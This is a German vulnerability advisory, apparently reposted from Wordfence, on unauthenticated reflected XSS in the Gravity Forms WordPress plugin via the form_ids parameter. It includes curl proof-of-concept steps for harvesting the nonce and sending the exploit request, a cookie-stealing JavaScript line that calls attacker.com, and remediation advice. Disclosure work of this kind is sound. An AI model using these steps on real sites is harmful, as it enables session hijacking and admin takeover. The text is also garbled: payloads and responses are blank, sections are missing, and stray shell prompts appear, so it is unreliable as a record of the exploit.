Wordfence-Öffentlicher Eintrag

Beschreibung

Das Gravity-Forms-Plugin für WordPress (getestet bis Version 2.9.28) ist anfällig für nicht authentifiziertes reflektiertes Cross-Site-Scripting (XSS) über den form_ids-Parameter in der AJAX-Aktion gform_get_config. Die Schwachstelle besteht darin, dass vom Benutzer bereitgestellte form_ids-Werte ohne jegliche Bereinigung, Kodierung oder Ausgabe-Escaping wörtlich in der HTTP-Antwort des Servers reflektiert werden. Die Antwort wird mit einem Content-Type: text/html; charset=UTF-8-Header ausgeliefert, wodurch der Browser den reflektierten Inhalt als HTML parst und rendert, einschließlich aller injizierten Skriptelemente.

Ein nicht authentifizierter Angreifer kann diese Schwachstelle ausnutzen, um beliebiges JavaScript im Kontext der Ursprungsdomain der Ziel-WordPress-Website auszuführen. Da die Aktion gform_get_config ein gültiges config_nonce erfordert und dieses Nonce öffentlich im HTML-Quellcode jeder Seite eingebettet ist, die ein Gravity-Forms-Formular lädt, kann ein Angreifer problemlos ein gültiges Nonce erhalten, indem er vor dem Erstellen der Exploit-Anfrage eine beliebige öffentlich zugängliche Seite der Zielwebsite anfordert.

Eine erfolgreiche Ausnutzung ermöglicht es einem Angreifer, Sitzungscookies zu stehlen, Aktionen im Namen authentifizierter Benutzer (einschließlich WordPress-Administratoren) auszuführen, Benutzer auf bösartige Websites umzuleiten, Seiteninhalte zu verunstalten oder durch die Erstellung von Administratorkonten dauerhaften Zugriff zu erlangen.

Ursachenanalyse

Verwundbarer Endpunkt```

POST /wp-admin/admin-ajax.php

Verwundbarer Parameter

Der args-POST-Parameter akzeptiert ein JSON-Objekt, das ein form_ids-Array enthält. Werte in diesem Array werden ohne Bereinigung als Objektschlüssel in der JSON-Antwortstruktur verwendet:```json {"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

Warum dies ausnutzbar ist

1. Keine Eingabevalidierung: Die form_ids-Werte werden nicht als Ganzzahlen validiert, bereinigt oder gefiltert. Der Server akzeptiert beliebige Zeichenfolgeninhalte, einschließlich HTML-Tags und Event-Handler.
2. Keine Ausgabekodierung: Die form_ids-Werte werden ohne HTML-Entity-Kodierung im Antworttext widergespiegelt. Zeichen wie <, >, " und ' werden unverändert durchgelassen.
3. HTML-Content-Type: Die Antwort wird mit Content-Type: text/html; charset=UTF-8 ausgeliefert, was den Browser anweist, den Antworttext als HTML zu parsen. Alle HTML-Tags innerhalb des widergespiegelten Werts werden vom HTML-Parser des Browsers instanziiert und gerendert.
4. Öffentlich zugängliches Nonce: Das config_nonce, das für die Aktion gform_get_config erforderlich ist, ist im JavaScript-Konfigurationsobjekt (gform_theme_config) auf jeder Seite eingebettet, die ein Gravity-Forms-Formular lädt. Dieses Nonce ist auf allen Seiten identisch und nicht an eine bestimmte Benutzersitzung gebunden, wodurch es für nicht authentifizierte Benutzer trivial zu erlangen ist.

CWE-Analyse

Diese Schwachstelle ist das Ergebnis mehrerer beitragender Schwächen, die sich zu einer ausnutzbaren Bedingung verketten. Während CWE-79 die primäre Klassifizierung für die CVE-Meldung ist, dokumentiert die vollständige Kette, wie sich jedes Versagen gegenseitig verstärkt, um die Ausnutzung zu ermöglichen.

Schwachstellenkette```

CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS

CWE-116: Unsachgemäße Kodierung oder Maskierung von Ausgaben (primärer technischer Fehler)

Rolle: Kernschwachstelle — die direkte Ursache für den XSS-Zustand.

Wenn der Server die JSON-Antwort mit den form_ids-Werten erstellt, wendet er keine HTML-Entity-Kodierung auf die Ausgabe an. Zeichen mit besonderer Bedeutung in HTML (<, >, ", ', &) gelangen unverändert in den Antworttext. Die PHP-Funktionen htmlspecialchars(), esc_html(), wp_json_encode() mit JSON_HEX_TAG oder gleichwertige Ausgabekodierungsfunktionen werden nicht auf die form_ids-Werte angewendet, bevor sie in die Antwort geschrieben werden.

Nachweis: Die wörtliche Zeichenkette <svg onload=alert(document.domain)> erscheint im Antworttext byte-für-byte identisch zur Eingabe, anstatt als <svg onload=alert(document.domain)>.

CWE-838: Unangemessene Kodierung für den Ausgabekontext (verschärfend)

Rolle: Kontext-Eskalation — verwandelt ein Datenreflexionsproblem in eine ausführbare Code-Injektion.

Der Antworttext enthält JSON-strukturierte Daten, wird jedoch mit Content-Type: text/html; charset=UTF-8 ausgeliefert. Diese Content-Type-Deklaration weist den HTML-Parser des Browsers an, den gesamten Antworttext als HTML-Dokument zu verarbeiten. Würde die Antwort als application/json ausgeliefert, würde der Browser die Antwort als Klartext rendern und es würde kein HTML-Parsing stattfinden — die injizierten Tags würden als wörtlicher Text angezeigt, anstatt als DOM-Elemente instanziiert zu werden.

Nachweis:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)

Dieser Nonce wurde bestätigt als:

• Identisch auf allen Seiten der Zielwebsite (Startseite, Formularseiten, Seiten ohne Formulare)
• Nicht an eine Benutzersitzung gebunden (gleicher Wert mit oder ohne Cookies zurückgegeben)
• Nicht pro Anfrage rotiert (über längere Zeiträume statisch)

Vorhandene Sicherheits-Header (unzureichend)

Proof of Concept

Umgebung

Schritt 1: Einen gültigen Nonce erhalten

Fordern Sie eine beliebige Seite der Zielwebsite an, die ein Gravity-Forms-Formular lädt, und extrahieren Sie den config_nonce-Wert:```bash curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

Schritt 2: Senden der Exploit-Anfrage

Senden Sie eine POST-Anfrage an den WordPress-AJAX-Handler mit einem manipulierten form_ids-Wert, der ein XSS-Payload enthält:```bash curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="

HTTP-Antworttext:```html

Antwort:```html

Dekodiertes JavaScript:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

Szenario 3: DOM-Übernahme für Phishing

Das reflektierte XSS kann das gesamte Seiten-DOM durch eine überzeugende Phishing-Überlagerung ersetzen (z. B. eine gefälschte Anmeldeseite oder eine Sitzungszeitüberschreitungs-Aufforderung), um Anmeldedaten direkt zu erbeuten.

Angriffsablauf```

┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘

2. Ausgabe-Kodierung — Wenden Sie wp_json_encode() mit den Flags JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT an, wenn Sie die JSON-Antwort erstellen, um sicherzustellen, dass HTML-relevante Zeichen maskiert werden: ```php echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
   root@kitploit:~

3. Korrektur des Content-Type — Setzen Sie den Content-Type der Antwort auf application/json anstelle von text/html für alle AJAX-JSON-Antworten. Dadurch wird verhindert, dass der Browser die Antwort als HTML interpretiert, selbst wenn nicht bereinigter Inhalt zurückgespiegelt wird: ```php header('Content-Type: application/json; charset=UTF-8');
   root@kitploit:~

4. Nonce-Scoping — Erwägen Sie, die config_nonce an die Benutzersitzung zu binden oder eine Ratenbegrenzung bei der Nonce-Erzeugung zu implementieren, um die Kosten einer automatisierten Ausnutzung zu erhöhen.

Für Site-Administratoren (Sofortige Abhilfe)

1. Web Application Firewall (WAF) — Stellen Sie WAF-Regeln bereit, um HTML-Tags im args-Parameter von admin-ajax.php-POST-Anfragen zu erkennen und zu blockieren, bei denen action=gform_get_config gesetzt ist
2. Content Security Policy — Implementieren Sie eine restriktive script-src-CSP-Direktive (z. B. script-src 'self'), um die Ausführung von Inline-Skripten selbst bei Reflektion zu verhindern
3. Auf Updates achten — Wenden Sie den Gravity-Forms-Patch sofort an, sobald er veröffentlicht wird
4. Admin-Konten prüfen — Überprüfen Sie bestehende Administrator-Konten auf unbefugte Ergänzungen

Offenlegungszeitplan

Referenzen

• Gravity Forms Sicherheitsdokumentation
• [Gravity Forms Sicherheitskontakt](mailto:[email protected])
• CWE-79: Unsachgemäße Neutralisierung von Eingaben während der Webseitengenerierung
• OWASP Cross-Site Scripting (XSS)
• WordPress AJAX API — admin-ajax.php
• CVE-2023-2701 — Frühere Gravity-Forms-XSS (anderer Vektor)
• CVE-2024-13377 — Frühere gespeicherte Gravity-Forms-XSS über den alt-Parameter (anderer Vektor)

Haftungsausschluss

Diese Schwachstelle wurde während eines autorisierten Penetrationstest-Einsatzes entdeckt, der unter einer unterzeichneten Leistungsbeschreibung mit ausdrücklicher schriftlicher Genehmigung durchgeführt wurde. Alle Tests wurden innerhalb des vereinbarten Umfangs durchgeführt, und die Ergebnisse wurden dem Kunden unmittelbar nach der Entdeckung gemeldet. Diese Offenlegung folgt den Praktiken verantwortungsvoller Offenlegung. Es wurden keine unbefugten Systeme aufgerufen und keine Daten außerhalb der kontrollierten Proof-of-Concept-Validierung exfiltriert.

Entdeckt von: Anthony Cihan